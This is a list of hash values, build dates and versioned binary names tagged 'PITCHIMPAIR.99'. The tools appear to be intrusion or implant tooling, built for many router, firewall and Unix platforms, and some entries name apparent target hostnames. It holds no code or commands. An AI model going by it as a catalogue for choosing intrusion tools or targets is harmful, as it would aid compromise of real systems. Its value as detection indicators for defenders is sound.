Thu Aug 26 13:28:26 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.1_x86-junos-9.2 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.2_x86-junos-9.3 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.3_x86-junos-8.5 +94EEEA3EB9725B64B0F16858E2591D725F83B56C Thu Aug 26 21:28:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.3_x86-linux-alt-1.0 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.4_x86-junos-9.0 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.5_x86-junos-9.1 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.6_x86-junos-9.4 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.7_x86-junos-9.5 +C4B250CE91CD6FCE32F3CD441B79B92DA0599386 Mon Oct 4 20:21:03 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.34.8_x86-junos-9.6 +A62F4D748EAEEFE387B969B6A189406C01F9C59E Fri Sep 10 17:13:43 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.35.1_x86-linux-bigip-9.1.2 +677D9DC314CB7C473A8A5FAE004F55D9173DB4C2 Fri Oct 1 16:55:59 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.36.3_x86-linux-bigip-9.2.4 +F50C48B91824F7DABD70F7598BA98D292C1ADAA6 Thu Oct 21 18:38:13 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.37.2_x86-linux-bigip-9.2.4 +53C11E32156B880EABFCE273C44541C411272375 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.1_x86-linux-asianux-1.0 +53C11E32156B880EABFCE273C44541C411272375 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.2_x86-linux-suse-10.3 +53C11E32156B880EABFCE273C44541C411272375 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.3_x86-linux-suse-10.0 +5CA2FDA02916B6D1B3D1E485C3D08C1AFBFA9A45 Mon Jun 22 20:08:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.4_x86-linux-avaya +53C11E32156B880EABFCE273C44541C411272375 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.4.5_x86-linux-ubuntu-8.04 +E1E6A14CAF343860D385E0D03B8D95034C2E9B73 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.1_x86-junos-8.5 +E1E6A14CAF343860D385E0D03B8D95034C2E9B73 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.2_x86-junos-9.0 +E1E6A14CAF343860D385E0D03B8D95034C2E9B73 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.3_x86-junos-9.1 +E1E6A14CAF343860D385E0D03B8D95034C2E9B73 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.4_x86-junos-9.2 +DBBEA44D98C8299F8BB58BC009429D0090DAF08D Thu Aug 13 21:57:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.5_x86-junos-9.3 +DBBEA44D98C8299F8BB58BC009429D0090DAF08D Thu Aug 13 21:57:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.6_x86-junos-9.4 +DBBEA44D98C8299F8BB58BC009429D0090DAF08D Thu Aug 13 21:57:41 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.6.7_x86-junos-9.5 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.1_x86-linux-alt-2.4 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.2_x86-linux-redhat-7.2 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.3_x86-linux-slackware-11.0 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.4_x86-linux-vinifera-bs101v01 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.5_x86-linux-redhat-enterprise-4.0 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.7_x86-linux-redhat-9.0 +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.8_x86-linux-toadyteal-rowdaco.com +79ECB3DF8E74FC8A0130741A504B7DC2FC19FB6D Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.8.9_x86-linux-centos-5.1 +CB41D7F0BE88FF26321441AB2B53223ECDD7ECA4 Thu Aug 20 19:16:16 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.5.9.1_x86_64-linux-suse-10.1 +D6099461E5C1A96640E6082A5950E5C4E249EB40 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.1_x86_64-freebsd-potbed-greencache4 +8895FF61E4EB7E28C9990ACBBB9A35DE1EE39B62 Wed Sep 1 11:50:06 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.2_x86_64-freebsd-7.0 +D6099461E5C1A96640E6082A5950E5C4E249EB40 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.3_x86_64-freebsd-potbed-cache55 +D6099461E5C1A96640E6082A5950E5C4E249EB40 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.4_x86_64-freebsd-7.2 +4BA36DE76F2D0E527960615730C647F780EDB4E4 Fri Sep 3 19:55:21 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.0.6_x86_64-linux-centos-5.5 +C89AD95956D44EAA227399F2254D455D19161B6D Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.1.1_x86-linux-centos-5.4 +C89AD95956D44EAA227399F2254D455D19161B6D Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.1.2_x86-linux-centos-5.5 +661701B50A4B23A5166CC0B6C6049C42E3588970 Fri Sep 17 17:16:53 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.1.4_x86_64-linux-redhat-enterprise-5.5 +AE6DB308F8152651C544AC0048BC5B36C7E412DB Mon Sep 27 14:21:54 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.3.1_x86-linux-acridmini-sg +AC613C74C64E7E297F0D1B338F9101B49BEB3AEC Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.1_x86-linux-redhat-enterprise-4.0 +AC613C74C64E7E297F0D1B338F9101B49BEB3AEC Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.3_x86-linux-redstar-1.1 +AC613C74C64E7E297F0D1B338F9101B49BEB3AEC Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.4_x86-linux-suse-11.0 +32A19C50B5672EDF8600182D139F92E3E06A3770 Tue Oct 5 14:40:47 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.4.5_x86_64-linux-suse-enterprise-10.2 +B42565700E9869DF25F9AF450E25755F43AC5C0F Fri Oct 1 14:45:36 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.5.1_x86-linux-waxstart-17331hd51071.ikoula.com +9D35973369B49B73E506D855C4ECABC86FE91AF4 Wed Oct 6 20:34:30 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.6.2_x86-linux-fedora13 +6FBE875F71031C578E452A51A64ACA87C66A82F9 Fri Oct 8 16:51:50 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.7.1_x86_64-linux-centos-5.5 +B4D9DB927FD9DEB3CD9F223A3FFDBB7918BB2B00 Wed Oct 13 20:51:39 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.7.2_x86-linux-debian-4.0 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.1_x86-junos-8.5 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.2_x86-junos-9.0 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.3_x86-junos-9.1 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.4_x86-junos-9.2 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.6_x86-junos-9.4 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.7_x86-junos-9.5 +F60AB1A58213979C759F5F3D76DC0773F30257A9 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.8_x86-junos-9.6 +959C4F7ABACDFAE1FDEC57A747425567B5B8B0B2 Wed Oct 20 21:03:52 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.8.9_x86-linux-redhat-enterprise-4.0 +CA0F48AF77888EBF51F76B266FFFF785405A24F6 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.1_x86-junos-10.0 +CA0F48AF77888EBF51F76B266FFFF785405A24F6 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.2_x86-junos-10.1 +CA0F48AF77888EBF51F76B266FFFF785405A24F6 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.3_x86-junos-10.2 +CA0F48AF77888EBF51F76B266FFFF785405A24F6 Tue Oct 26 12:49:22 2010 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.6.9.4_x86-junos-10.3 +F7A6D3B817249C73E1B910990F9C3EB5200EB97F Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.99] skimcountry.aix5.1_v.1.4.0.10 +F7A6D3B817249C73E1B910990F9C3EB5200EB97F Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.99] skimcountry.aix5.1_v.1.4.0.10.00003 +47D2E120EF909C80EEA05215527E32055D0E9492 Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.99] skimcountry.aix5.1_v.2.0.0.3 +B89395C55A31AE8E699B328EBD0D300BF439A009 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.99] skimcountry.sunos5.8_v.1.4.0.10 +B89395C55A31AE8E699B328EBD0D300BF439A009 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.99] skimcountry.sunos5.8_v.1.4.0.10.00000 +119D81C09197E6CD363AF5255ABB43DE01A8411A Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.99] skimcountry.sunos5.8_v.2.0.0.3 +B0C813A286964627065EE3159602E81C0AC3A9D7 Tue Aug 15 16:56:21 2006 [PITCHIMPAIR.99] skimcountry.sunos5.9_v.1.2 +9EB0DF663D8458EA0E29895A626BABC62A82D239 Tue May 27 19:19:11 2008 [PITCHIMPAIR.99] skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 +86C40DD3DCB128E37B3B12EFAC42CB97F943A1CD Tue May 27 19:19:43 2008 [PITCHIMPAIR.99] skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 +BC3D6B1A1989CA4C10D76C5C53490EE9E945DC58 Fri Oct 22 15:47:38 2010 [PITCHIMPAIR.99] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +131EC8839BBAB075FD099234FCD374486D28205D Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.99] sift.linux_v.2.0.1.1 +DE43F7489130FB2F7A680D7332302A197AC54B78 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.99] sift.solaris.sparc_v.2.0.1.1 +481E0B4EA71B672921DC78C9BD1921CFC45C41CA Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.99] sift.solaris.x86_v.2.0.1.1 +8881848B9067500C39FE2C2682CDF1ED91127189 Fri Apr 24 12:05:18 2009 [PITCHIMPAIR.99] charm_fiesta.hp-uxb.11.00_v.1.1.0.7 +C75F930FDD6FD34B1F5DD5BECF2654BFE98A5699 Tue May 6 18:00:55 2008 [PITCHIMPAIR.99] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 +C75F930FDD6FD34B1F5DD5BECF2654BFE98A5699 Tue May 6 18:00:55 2008 [PITCHIMPAIR.99] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_9 +128F368418F4C4A08A881A7ABFD62DCF733DE747 Tue Jul 22 19:56:41 2008 [PITCHIMPAIR.99] charm_penguin.sunos5.10_v.1.0.0.6 +B4CF3A09FBF049CC9BAF71E0C7A3850474386281 Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.99] charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 +412DA1D45965A0D660AF0D1C1F3153FB82C5A47E Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.99] charm_razor.linuxsuse9.0_v.1.2.0.2 +5B2892BBAF1F331276357305725D140764977D93 Fri Jan 29 14:47:24 2010 [PITCHIMPAIR.99] charm_razor.sunos5.8_v.1.2.0.2 +8B20EA51B4BAFD161A0318375B4A457FE3632F51 Fri Jul 10 17:34:06 2009 [PITCHIMPAIR.99] charm_razor.sunos5.9_v.1.1.0.3 +9976BD5FF87973648DD810D7C948B60F2453276A Tue Jun 15 18:03:05 2010 [PITCHIMPAIR.99] charm_razor.win2k_v.2.0.0.1 +056C6CBFEA177F9768FDA6D782B804D711A847D4 Fri Oct 17 13:48:49 2008 [PITCHIMPAIR.99] charm_saver.hp-uxb.11.11_v.1.0.0.1 +AE1FF8EA37FCCA1DB1DDB5506CF3244554DA879D Thu Jun 3 16:19:31 2010 [PITCHIMPAIR.99] charm_saver.hpux11.00_v.2.0.0.2 +AE3B2A174A4C143E82FFCE3B850FA64C037967A9 Tue May 4 17:01:58 2010 [PITCHIMPAIR.99] charm_saver.win2k_v.2.0.0.2 +06C1DE507773BD9C7F0215EBBA3149F103A208DA Wed Dec 17 16:05:14 2008 [PITCHIMPAIR.99] charm_uno.sunos5.9_v.1.1.0.4 +EA8BFD127DC8643F09D6C9AE068EFC401F0D0785 Thu Apr 24 19:02:39 2008 [PITCHIMPAIR.99] charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 +7C023E288746FC56F9EF2F23A03A2170B4F6A05A Fri Oct 1 17:26:44 2010 [PITCHIMPAIR.99] charm_uno.v2.0.0.3.linuxrh7.3_v.linux +A447E1DA3581A601B75130D29ED35199C3B982A2 Wed Oct 6 17:45:58 2010 [PITCHIMPAIR.99] charm_uno.v2.0.0.4.sunos5.8_v.solaris +DEB238FFE3174EAD5D01C3B13F5D66C91057361F Mon Sep 28 14:40:11 2009 [PITCHIMPAIR.99] charm_vortex.sunos5.8_v.1.0.0.2 +F0782E0DCBB8F540B80089146EF7C0269BB4C853 Thu Jan 21 17:55:26 2010 [PITCHIMPAIR.99] charm_vortex.sunos5.8_v.1.0.1.2 +491B70D4B3F3881E2A25337BE5C5CE47DFA56DDD Thu May 24 16:11:09 2007 [PITCHIMPAIR.99] seconddate_Client_1.3.0.1_UNKNOWN +26EE6CB98C6F75828C0026583AC48840945EAEF9 Fri Apr 11 17:55:39 2008 [PITCHIMPAIR.99] seconddate_Client_1.5.1.2_UNKNOWN +AD64CA31F23417F68246995F5A9AD2BAB73BF535 Tue Jun 24 14:51:43 2008 [PITCHIMPAIR.99] seconddate_Client_1.5.1.3_UNKNOWN +C0174CB6DD5100BBA9E9808949984BC30B3F6F74 Wed Aug 13 15:34:55 2008 [PITCHIMPAIR.99] seconddate_Client_1.6.2.3_UNKNOWN +4D028207B99B8339E3CFCC39D5A20D0CA691B992 Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.99] seconddate_Client_1.7.0.1_i386-linux +44E3D90419E1AF8C2741D43EF2EC8ACB7F9AC601 Mon May 18 14:29:39 2009 [PITCHIMPAIR.99] seconddate_Client_1.7.0.2_i386-linux +112C8AAC9E755A0AA8BE04DB7D0D86AF22964B36 Mon Mar 8 13:22:38 2010 [PITCHIMPAIR.99] seconddate_Client_1.7.0.5_i386-linux +B34728C17DC767F6C1F2AF668B4E1077C0D6A301 Fri Oct 2 21:53:10 2009 [PITCHIMPAIR.99] seconddate_Client_1.7.0.6_i386-linux +FD19D6F18B1860A284D8F06411BCAC0845B04585 Tue May 11 14:03:18 2010 [PITCHIMPAIR.99] seconddate_Client_1.7.0.7_i386-linux +5D31291A1DA3B5984550DCDD3CC0D6AEEC8B2522 Wed Aug 18 16:44:22 2010 [PITCHIMPAIR.99] seconddate_Client_1.7.0.8_i386-linux +89F70275661C1277142709AD35883AD2CB216BAC Tue Nov 21 13:22:42 2006 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.2.0 +C1EE00F01FB8E92EE0107C51D096058D5AD6D915 Thu Jun 14 15:14:47 2007 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.2.3.1.3 +31514A0FFD6DBD4CD2E1C3D87D60FD3F1055DEDA Thu Aug 7 18:32:21 2008 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.3.0.0.1 +134C4EB03ED4FB0392054BC4209FC583828FBB49 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.00_v.3.1.1.4 +7873741D15D6CE3638339AE0CDBBE2D8157AEEB3 Tue Nov 21 13:23:59 2006 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.11_v.2.0 +1F27271727F398A32646AEA36B430EC5D68F57EB Wed Mar 12 16:24:55 2008 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.11_v.2.3.2.2 +194479EF3E676E4D4314D422AE762B2BA08635FA Thu Aug 7 18:32:30 2008 [PITCHIMPAIR.99] enemyrun.hp-uxb.11.11_v.3.0.0.1 +15F01BBD339F5FD523219BC602B30479E35764DC Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.hpux11.00.parisc_v.3.2.0.1 +055CF77F9E3A46D6871751EFEE4D15D67B697B66 Thu Jan 29 16:38:35 2009 [PITCHIMPAIR.99] enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 +611D6B124D147151460C4669E961325C102822F3 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.99] enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 +3C77E4E9E383E2462E89F928834A2818C557A6F5 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.linuxrhe3.6.i686_v.3.2.0.1 +710B77904E84CCA8518F8EE930090AB890158530 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.linuxrhl7.3.i686_v.3.2.0.1 +6C4C605A1920ADC9728AF66D8DBFFFFB26F58FDF Mon Nov 9 12:33:26 2009 [PITCHIMPAIR.99] enemyrun.rhl7.3_v.3.1.1.5 +D0E8B6B8D4448F90CBA27C3CE3758720E0CDF355 Tue Apr 13 11:38:33 2010 [PITCHIMPAIR.99] enemyrun.sunos.8.i386_v.3.1.1.6 +29DA743BF82EB8D34743A12C90DAA217816E3472 Thu Aug 7 18:32:38 2008 [PITCHIMPAIR.99] enemyrun.sunos5.10_v.3.0.0.1 +13146A23F44F78747E20221F350D1A63FE480B88 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.sunos5.8.i386_v.3.2.0.1 +216335E409F47ED33282661B72691C5B296EFA25 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.99] enemyrun.sunos5.8.sparc_v.3.2.0.1 +AD0EA690B124B539F78332566BE2809B0C8A0CFF Tue Nov 21 13:24:25 2006 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.0 +220EAC531496E3F92DB2CF8A71D480F3036313B2 Thu Mar 8 21:22:28 2007 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.2 +13DCBEAFB392026C7F01D95564F81C24CB72DAE0 Wed Apr 11 19:57:36 2007 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.3 +98BE93AD80B4D656A1F14792EBAB6DBC1F64E59A Thu Jun 14 15:15:32 2007 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.2.3.1.3 +0729FE0314FC485FBD5FFAA598FD1AB28B1440D4 Thu Aug 7 18:33:09 2008 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.3.0.0.1 +8ECF618F52C426CD874C509883B75BBB72C1D04A Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.99] enemyrun.sunos5.8_v.3.1.1.4 +040F2D9CCE57B99D958C645653FFCA90367867D2 Tue Nov 21 13:24:51 2006 [PITCHIMPAIR.99] enemyrun.sunos5.9_v.2.0 +F16DFC31FA94D684AE87E0184F5DF87A942868D7 Thu Aug 7 18:33:19 2008 [PITCHIMPAIR.99] enemyrun.sunos5.9_v.3.0.0.1 +7E61FBCB64751BF8FC42FC4E13D1B7FB00AAE87B Wed Apr 2 19:58:32 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 +562CC203507C5156690031C3FE1B8C08727427C5 Wed Apr 2 20:05:08 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 +2FFF7413996C7518C4CB748E6BF1693DB4E28187 Wed Apr 2 20:00:36 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 +F295FB911FF9F839B1748A88D89EA45D7523560D Wed Apr 2 20:03:42 2008 [PITCHIMPAIR.99] enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 +A1D1837FE0E58186E833CC016B20ACD466913893 Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.1.1_sparc-sun-solaris +A1D1837FE0E58186E833CC016B20ACD466913893 Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.1.3_i386-pc-solaris +3B4692BC15C3608EDF34AA4397B0D5E21D07CF2C Fri Jun 13 19:30:15 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.11.1_hppa2.0w-hp-hpux11.11 +435581210643B73EB4AD9D38301AD71502E8C953 Tue Sep 23 17:46:02 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.12.1_x86-freebsd +D7F61A31C75B96E49D6ECB8A7B120743C5DAB28D Mon Nov 10 21:32:06 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.13.1_sparc64-freebsd +2EFDB2D24CB33953286DE403423AEA306E5F2E93 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.15.1_sparc-sun-solaris +2EFDB2D24CB33953286DE403423AEA306E5F2E93 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.15.2_x86-linux +2EFDB2D24CB33953286DE403423AEA306E5F2E93 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.15.3_x86_64-linux +95E7464D2C8E2284D10289C88EE14FE9EE8CCEA6 Thu Jun 18 00:12:09 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.16.1_x86-junos-8.5 +2F5285B1296F41C4420522642B21ABABA684ADCC Wed May 2 19:51:30 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.2.1_sparc-sun-solaris +2F5285B1296F41C4420522642B21ABABA684ADCC Wed May 2 19:51:30 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.2.2_x86-linux +2F5285B1296F41C4420522642B21ABABA684ADCC Wed May 2 19:51:30 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.2.3_i386-pc-solaris +D1490829CFE89BF4E2966C6B891DCD92E033B390 Fri Sep 21 13:12:43 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.2.5_x86-freebsd-6.2 +E87A52A325694BD13D526AC9C100D653E083795B Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.6.1_sparc-sun-solaris +E87A52A325694BD13D526AC9C100D653E083795B Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.6.2_sparc-sun-solaris2.7 +BCDE697F7B0C4B79C11B8A4FD6350AD8E7F1327A Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.7.1_sparc-sun-solaris +BCDE697F7B0C4B79C11B8A4FD6350AD8E7F1327A Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.7.2_x86-freebsd-6.2 +5832D18ABDF2A04CDC07094C89373266CAE02763 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.8.1_x86-linux +5832D18ABDF2A04CDC07094C89373266CAE02763 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.8.2_sparc-sun-solaris +5832D18ABDF2A04CDC07094C89373266CAE02763 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.8.3_i386-pc-solaris +5832D18ABDF2A04CDC07094C89373266CAE02763 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.8.4_sparc-sun-solaris2.7 +6495720972498C506AC8E3D38C2EC068859521EC Thu Feb 28 22:10:12 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.9.1_x86_64-linux +6F608612B3897E21A96E07CE0AD0E2179A8EA534 Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.9.2_x86-freebsd-6 +6F608612B3897E21A96E07CE0AD0E2179A8EA534 Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.0.9.3_x86-freebsd-5 +0FAD00E3281DCF1821795C655B0F78DB88532A9D Tue Oct 20 17:28:25 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.1.2_x86-junos +D42DBBE8E978CB0AB5162B590DE37BE3055FFC4C Mon Oct 26 16:29:35 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.2.6_ia64-hp-hpux11.23 +FC51C70CEC6FB12FA79D57E08F5D2F720F33BF34 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.3.1_x86-linux +FC51C70CEC6FB12FA79D57E08F5D2F720F33BF34 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.3.3_sparc-sun-solaris +FC51C70CEC6FB12FA79D57E08F5D2F720F33BF34 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.3.4_x86-freebsd +FC51C70CEC6FB12FA79D57E08F5D2F720F33BF34 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.3.5_x86_64-linux +FC51C70CEC6FB12FA79D57E08F5D2F720F33BF34 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.3.6_i386-pc-solaris +FC51C70CEC6FB12FA79D57E08F5D2F720F33BF34 Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.99] dewdrop_tipoff__v__3.1.3.7_sparc-sun-solaris2.7 